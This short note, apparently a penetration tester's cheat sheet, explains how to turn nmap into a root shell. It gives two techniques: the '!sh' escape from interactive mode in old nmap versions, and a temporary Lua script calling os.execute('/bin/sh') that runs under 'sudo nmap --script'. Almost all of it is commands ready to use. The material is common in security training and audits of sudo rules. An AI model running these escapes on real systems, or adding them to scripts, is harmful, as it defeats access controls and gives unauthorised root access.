nmap

works even if nmap is not allowed sudo, last ditch attempt

#nmap -v , Nmap 2.02-5.21 has an interactive mode, try:

 nmap --interactive  
 nmap> !sh

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

root